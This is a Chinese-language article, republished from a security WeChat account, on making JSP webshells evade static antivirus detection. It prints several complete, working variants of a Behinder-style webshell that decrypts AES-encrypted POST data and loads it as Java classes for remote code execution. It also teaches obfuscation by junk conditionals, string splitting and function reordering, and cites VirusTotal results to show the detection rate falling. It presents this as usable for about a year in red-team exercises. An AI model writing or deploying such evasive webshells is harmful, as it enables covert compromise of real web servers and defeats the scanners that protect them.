前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀|webshell静态免杀的一些思路

免杀|webshell静态免杀的一些思路

作者头像
亿人安全
发布2023-11-02 09:09:16
4590
发布2023-11-02 09:09:16
举报
文章被收录于专栏:红蓝对抗

webshell静态免杀的一些思路

1.静态查杀绕过原理

顾名思义静态查杀就是杀软会检查webshell文件的内容,提取的文件特征将与已知的恶意模式进行比对。这些恶意模式可以是已知的病毒特征、恶意软件代码片段等。比如正则表达式检测是否有危险函数这种。绕过的原理也很简单,就是让杀软的规则无法匹配到恶意代码。

2.添加毫无意义的代码

填充毫无意义的代码目的是在不改变代码本身功能的情况下修改代码的特征使得杀毒软件匹配特征规则失败。

现在用冰蝎的jsp马举个例子,默认的webshell上传vt可以看到。 vt:https://www.virustotal.com/gui/home/upload

然后冰蝎的jsp代码也比较简短。

比如原本的代码

代码语言:javascript
复制
String k = "xxxxxxxx";

// 可以修改成  因为
String k = "";
if (21174 < 18818181){
    k = "xxxxxx";
}

// 或者在前面添加毫无意义的代码
float f = 314141.14f;
if (1231241 > 12312){
    f += 12314.11f;
}
String k = "xxxxxxxx";

加了一堆代码后的shell:

代码语言:javascript
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        String AA = "AAAAAAA";
        String BB = "BBBBBBB";
        String CC = "CCCCCCC";
        U(ClassLoader c) {
            super(c);
            if (1929341894> 12313){
                boolean b = 18288 % 10 == 2;
            }
        }
        public Class g(byte[] b) {
            if (2 > 100){
                String aa = "AAAAAAA";
                int s = 1929341894 - 12313;
                aa = aa + s;
            }else {
                String cc = "ccccccc";
            }
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "";
        if (1721747 < 17177755){
            k = "e45e329feb5d925b";
        }
        int i = 0;
        do{
            session.putValue("u", k);
        }while (i < 0);
        Cipher c = null;
        if (0 < 188819091){
            c = Cipher.getInstance("AES");
        }
        if (17471741 == 17471741){
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        }
        if (true){
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }
            new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);
        }
    }
%>

再次上传vt查看免杀效果,依旧还是有六个杀毒软件检测到恶意代码了。

其实是因为这段代码我们并没有拆开和默认密码的原因,现在可以拆开这段代码,然后依次添加无意义的代码。然后把默认密码也可以改一下。

代码语言:javascript
复制
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);

修改完毕后的查杀效果:

代码:

代码语言:javascript
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="java.io.BufferedReader" %>
<%!
    class U extends ClassLoader {
        String AA = "AAAAAAA";
        String BB = "BBBBBBB";
        String CC = "CCCCCCC";
        U(ClassLoader c) {
            super(c);
            if (1929341894> 12313){
                boolean b = 18288 % 10 == 2;
            }
        }
        public Class g(byte[] b) {
            if (2 > 100){
                String aa = "AAAAAAA";
                int s = 1929341894 - 12313;
                aa = aa + s;
            }else {
                String cc = "ccccccc";
            }
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "";
        if (1721747 < 17177755){
            k = "e45e"+"329" +""+ "feb5"+"d925b";
        }
        int i = 0;
        do{
            session.putValue("u", k);
        }while (i < 0);
        Cipher c = null;
        if (0 < 188819091){
            c = Cipher.getInstance("AES");
        }
        if (17471741 == 17471741){
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        }
        if (true){
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }

            ClassLoader CL = this.getClass().getClassLoader();
            U u = new U(CL);
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }
            BufferedReader reader = request.getReader();
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }

            String readLine;
            if (2124124 < 1182){
                readLine = "pageContext";
            }else{
                readLine = reader.readLine();
            }
            byte[] decode = Base64.getDecoder().decode(readLine);

            if (2020101 == 2020101){
                byte[] bytes = c.doFinal(decode);
            }

            u.g(c.doFinal(decode)).newInstance().equals(pageContext);
        }
    }
%>

也能够正常连接

其实上面的马以及能过掉大部分常见的杀毒软件了,下面是virscan的检测结果截图。

方法也很简单,就是将代码拆分一下,然后添加各种无意义代码即可 举例:

代码语言:javascript
复制

// 假设这段代码能够被杀软规则匹配到
new U(this.getClass().getClassLoader());

// 那么就可以拆分成 
Classloader cl;
cl = this.getClass().getClassLoader();
U u;
u = new U(cl);

// 然后添加一些无意义代码
Classloader cl;
if (123141 != 0){
    // 这个条件必定会触发
    cl = this.getClass().getClassLoader();
}

if (12412 < 0){
    // 这个条件必定不会被触发 所以可以随便写一些代码
    cl = null;
    float f = 1243124.11f;
}

U u;
if (111111 == 0){
}else{
    u = new U(cl);
}

3.定义函数修改代码的顺序

修改的代码顺序主要是用来过一些较强的杀软,比如卡巴斯基这种。简单来说就是在不改变代码功能的情况下打乱代码的顺序使得检测规则无法匹配成功。 还是举个例子:

代码语言:javascript
复制
// 比如下面的代码能够被杀软的规则匹配到 
new U(this.getClass().getClassLoader());

// 可以通过定义函数的方式修改代码的顺序
<%
    new U(getClassLoader);
%>
<%!
    public ClassLoader getClassLoader(){
        return this.getClass().getClassLoader();
    }
%>

废话不多说了,直接上代码和免杀效果截图

代码语言:javascript
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.security.InvalidKeyException" %>
<%!
    class UUAND extends ClassLoader {
        String AA = "AAAAAAA";
        String BB = "BBBBBBB";
        String CC = "CCCCCCC";
        UUAND(ClassLoader c) {
            super(c);
            if (1929341894> 12313){
                boolean b = 18288 % 10 == 2;
            }
        }
        public Class g(byte[] b) {
            if (2 > 100){
                String aa = "AAAAAAA";
                int s = 1929341894 - 12313;
                aa = aa + s;
            }else {
                String cc = "ccccccc";
            }
            return super.defineClass(b, 0, b.length);
        }

    }
%>

<%
    if (request.getMethod().equals("POST")) {
        String ACAW = "";
        if (1721747 < 17177755){
            ACAW = "e45e"+"329" +""+ "feb5"+"d925b";
        }
        int i = 0;
        do{
            session.putValue("u", ACAW);
        }while (i < 0);
        Cipher c = null;
        if (0 < 188819091){
            c = Cipher.getInstance("AES");
        }
        if (17471741 == 17471741){
            go(c, ACAW);
        }
        if (true){
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }

            ClassLoader CL = getClassLoader();
            UUAND u = new UUAND(CL);
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }
            BufferedReader reader = request.getReader();
            if ((74721741 >> 11) != 1 ){
                float f1 = 31.4145f;
            }

            String readLine;
            if (2124124 < 1182){
                readLine = "pageContext";
            }else{
                readLine = reader.readLine();
            }
            byte[] decode = getByte(readLine);
            byte[] bytes;
            if (2020101 == 2020101){
                bytes = c.doFinal(decode);
            }
            run(u, bytes).equals(pageContext);

        }
    }
%>
<%!
    public ClassLoader getClassLoader(){
        Object o = this;
        Class<?> aClass = o.getClass();
        ClassLoader classLoader = aClass.getClassLoader();
        return classLoader;
    }

    public byte[] getByte(String readline){
        return Base64.getDecoder().decode(readline);
    }

    public Object run(UUAND u, byte[] bytes){
        try {
            return u.g(bytes).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return null;
    }

    public void go(Cipher c, String k){
        try {
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        } catch (InvalidKeyException e) {
            e.printStackTrace();
        }
    }
%>

vt查杀结果:

这里注意的一点就是以下这段代码:

代码语言:javascript
复制
public ClassLoader getClassLoader(){
    Object o = this;
    Class<?> aClass = o.getClass();
    ClassLoader classLoader = aClass.getClassLoader();
    return classLoader;
}

// 上面的代码其实就是下面这段 
this.getClass().getClassLoader();

跑起来也是没有问题的

4.总结

主要也就是在不改变代码功能的情况下改变代码的结构,其中可以用到各种方法。这里提到的一种方法就是使用函数改变代码在文件中的顺序以及添加一些毫无意义的代码。其实同理的方法还有很多,比如将数据绕一圈然后在绕回来。 举例:

代码语言:javascript
复制
// 比如杀以下代码
k = "e45e329feb5d925b";
// 就可以修改成 
k = "Ae45e329fA" + "Aeb5Ad925bAAAA";
K.replace("A", "");

也可以将代码拆分:

代码语言:javascript
复制
// 比如杀以下代码
this.getClass().getClassLoader();

// 那么就可以修改成
Object o = this;
Class<?> aClass = o.getClass();
ClassLoader classLoader = aClass.getClassLoader();

// 中间加一些没用的代码就是 
Object o = this;
if(false){
    o = null;
}
Class<?> aClass = o.getClass();
if (aClass == null){
    aClass = null;
}
ClassLoader classLoader = aClass.getClassLoader();

ps:基本自己混一个马差不多能用个一年左右,hw还是挺多杀软的。 什么?你不想自己写代码? 吾有一计:


原文链接:https://forum.butian.net/share/2484


本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.静态查杀绕过原理
  • 2.添加毫无意义的代码
  • 3.定义函数修改代码的顺序
  • 4.总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档